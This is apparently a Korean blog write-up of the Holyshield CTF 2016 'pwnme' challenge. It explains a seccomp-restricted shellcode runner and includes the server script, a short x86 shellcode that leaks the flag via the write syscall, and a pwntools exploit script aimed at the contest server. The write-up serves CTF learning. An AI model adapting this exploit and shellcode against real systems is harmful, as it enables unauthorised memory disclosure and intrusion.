## Holyshield CTF_2016(pwnme,pwn)
[Summary]
1. hex-ray가 안됨.
2. 쉘코드 실행이 가능하지만 seccomp sandbox가 적용되어 read, write, close(?)의 syscall만 허용됨.
3. flag를 open한 후 동적할당 받은 영역에 랜덤한 offset값(rand()함수를 이용)을 더한 후 그 곳에 저장.
4. write syscall을 이용하여 해당 flag가 박혀있는 주소를 찾아 그 곳의 flag를 출력하는 shellcode를 작성.
5. shellcode의 크기는 0x20이내여야 함.
[Analysis] - (https://drive.google.com/open?id=0B12bAVEUfDg7dmRuMDJsTTJzX3M) 문제 링크
우선 server가 동작하고 있는 환경에서 server의 9091포트로 접속하면 아래와 같이 shellcode를 입력 받고
잘못된 쉘코드를 입력하면 segmentation fault가 뜬다.
[그림 1] pwnme 바이너리 실행
이제 이 바이너리를 분석해보면 우선 shellcode를 실행하기 전 seccomp sandbox를 세팅하는 루틴을
아래 [그림 2]와 같이 확인할 수 있으며 그렇게 중요하진 않다.
[그림 2] seccomp sandbox 룰 추가
그리고 바이너리의 처음부터 살펴보면 signal(alram)을 세팅하여 특정 시간이 지나면 종료되도록 되어 있고, server.py를 보면 알수 있는데
쉘코드가 저장되어 있는 파일을 오픈하여 fgets()로 읽은 다음 메모리에 저장한다.(후에 이 쉘코드가 실행됨)
그런 다음 srand(time(NULL))을 이용하여 random seed값을 준 다음 rand함수를 호출하여 아래 [그림 3]과 같이 특정 연산을 수행한다.
[그림 3] flag가 올라갈 메모리 영역의 주소를 랜덤하게 만들기 위한 루틴
물론 이 연산을 파악하는 건 중요하지 않으므로 넘어가도록 하겠다. 이렇게 offset을 랜덤하게 설정한 후 var_4C변수에 저장을 한 다음
"flag"라는 파일을 open한 다음 fgets()함수를 이용하여 값을 읽어들인 후 아래 [그림 4]와 같이 메모리에 적재 한다.
[그림 4] flag open & read
여기까지 다 끝내고 나면 마지막으로 "call eax"를 하여 shellcode를 실행시키는데 call eax를 실행하기 전 레지스터와 스택 상황을 보면
아래 [그림 5]와 같다.
[그림 5] shellcode 실행 전 스택 & 레지스터 상황
스택의 esp의 값인 0xbffff0f4에서 0x2326 offset만큼 더하면 동적할당 받은 힙 영역의 주소가 저장되어 있으며 이 주소에 앞에서 만든
random offset값을 더한 곳에 실제 flag가 들어 있었다. 처음에는 random offset값이 스택영역에 저장되어 있을 줄 모르고 브루트 포싱을
이용하여 rand()를 깨보려고 했으나 범위도 크고 출력 server에서 0x6c만큼 read한 값을 주기 때문에 삽질을 많이 했다.
random_offset은 [그림 4]에서 봤듯이 ebp-0x4c에 위치해 있으므로 이 값을 읽어 들여와 malloc()으로 할당받은 힙 주소에 더하는
쉘코드를 작성하여 write() syscall로 stdout에 출력하기만 하면 되었다.
[server.py]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | #!python import os, sys from socket import * import thread import time import tempfile import random import subprocess BUFSIZE = 1024 MAXSIZE = 128 HOST = '' PORT = 9091 RUNNER = './pwnme' def banner(): fd = open('banner.txt','r') buf = fd.read(100000) fd.close() return buf def TestShellcode(s, sc): scsize = len(sc) if scsize > MAXSIZE: s.send('shellcode is too long...%s' % (MAXSIZE)) s.close() return -1 return sc def handler(s, addr): s.send(banner()) TIMEOUT = 10 while True: s.send('please input shellcode\n') rv = s.recv(MAXSIZE) r = TestShellcode(s, rv) #print printHex(r) if r == -1: return else: #print printHex(r) s.send('Okay I\'m execve shellcode...\n') fn = tempfile.mktemp() open(fn, 'wb').write(r) child_pid = os.fork() if child_pid == 0: cmd = [RUNNER,fn,str(TIMEOUT)] fd_popen = subprocess.Popen(cmd, stdout=subprocess.PIPE).stdout data = fd_popen.read().strip() fd_popen.close() if data == '': s.send("segmentaion fault\n") print "================client================" print "segmentaion fault" print "======================================" else: s.send(data[0:60]) print "================client================" print data[0:60] print "======================================" else: pid, status = os.waitpid(child_pid, 0) s.close() os.unlink(fn) print "%s:%s client has been closed with pid(%05d)-%08x" % (addr[0],addr[1], pid, status) return return def printHex(xhex): xtmp = '' xhex = xhex.encode('hex') for x in range(0, len(xhex), 2): xtmp += '\\x' + xhex[x:x+2] return xtmp if __name__ == '__main__': ADDR = (HOST, PORT) svr_sock = socket(AF_INET, SOCK_STREAM) svr_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) svr_sock.bind( ADDR ) svr_sock.listen(10) while True: print 'Waiting for connection on port: %s' % (PORT) cli_sock, cli_addr = svr_sock.accept() print 'connected from %s:%s' % ( cli_addr[0], cli_addr[1] ) thread.start_new_thread(handler, (cli_sock, cli_addr)) | cs |
[shellcode]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | Disassembly Raw Hex (zero bytes in bold): 31C0B3018B0C2481C1262300008B09034DB4B26CB004CD80 String Literal: "\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80" Array Literal: { 0x31, 0xC0, 0xB3, 0x01, 0x8B, 0x0C, 0x24, 0x81, 0xC1, 0x26, 0x23, 0x00, 0x00, 0x8B, 0x09, 0x03, 0x4D, 0xB4, 0xB2, 0x6C, 0xB0, 0x04, 0xCD, 0x80 } Disassembly: 0: 31 c0 xor eax,eax 2: b3 01 mov bl,0x1 4: 8b 0c 24 mov ecx,DWORD PTR [esp] 7: 81 c1 26 23 00 00 add ecx,0x2326 d: 8b 09 mov ecx,DWORD PTR [ecx] f: 03 4d b4 add ecx,DWORD PTR [ebp-0x4c] 12: b2 6c mov dl,0x6c 14: b0 04 mov al,0x4 16: cd 80 int 0x80 # ref) https://defuse.ca/online-x86-assembler.htm | cs |
[Exploit Code] - pwnme_exploiyt.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | from pwn import * import hexdump context(arch='i386',os='linux') local=False #local=True if local: p = remote("127.0.0.1", 9091) else: p = remote("1.224.175.27", 10030) #binary = ELF("./pwnme") raw_input() #payload1 = "\xBB\x01\x00\x00\x00\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80" #payload2 = "\xBB\x01\x00\x00\x00\x83\xC4\x3C\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80" #payload3 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80" #payload4 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80" #payload5 = "\x31\xDB\x43\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x81\xC1\x31\xAA\x01\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80" payload6 = "\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80" print p.recv(1024) print p.send(payload6+'\n') print p.recv(1024) print hexdump.hexdump(p.recv(1024)) | cs |
[Get Flag~~!!!!]
끝~!
'CTF writeup' 카테고리의 다른 글
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
---|---|
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
[RC3 CTF_2016] IMS-hard(pwn) (2) | 2016.11.25 |
[RC3 CTF_2016] IMS-easy(pwn) (0) | 2016.11.25 |